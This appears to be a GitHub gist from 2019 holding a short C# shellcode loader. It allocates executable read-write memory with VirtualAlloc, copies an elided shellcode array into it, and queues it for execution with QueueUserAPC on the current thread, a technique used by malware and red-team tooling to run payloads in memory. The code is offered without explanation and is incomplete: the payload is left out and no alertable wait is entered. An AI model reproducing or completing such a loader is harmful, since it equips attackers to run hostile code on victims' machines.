Skip to content

Instantly share code, notes, and snippets.

@djhohnstein
Created June 20, 2019 17:49
Show Gist options
  • Save djhohnstein/c843e9856f6da58f1604d03394806c4e to your computer and use it in GitHub Desktop.
Save djhohnstein/c843e9856f6da58f1604d03394806c4e to your computer and use it in GitHub Desktop.
static void Main(string[] args) {
byte[] sc = {...};
IntPtr resultPtr = VirtualAlloc(0, sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
IntPtr bytesWritten = IntPtr.Zero;
Marshal.Copy(sc, 0, resultPtr, sc.Length);
IntPtr ptr = QueueUserAPC(resultPtr, GetCurrentThread(), IntPtr.Zero);
Console.WriteLine("Goodbye");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment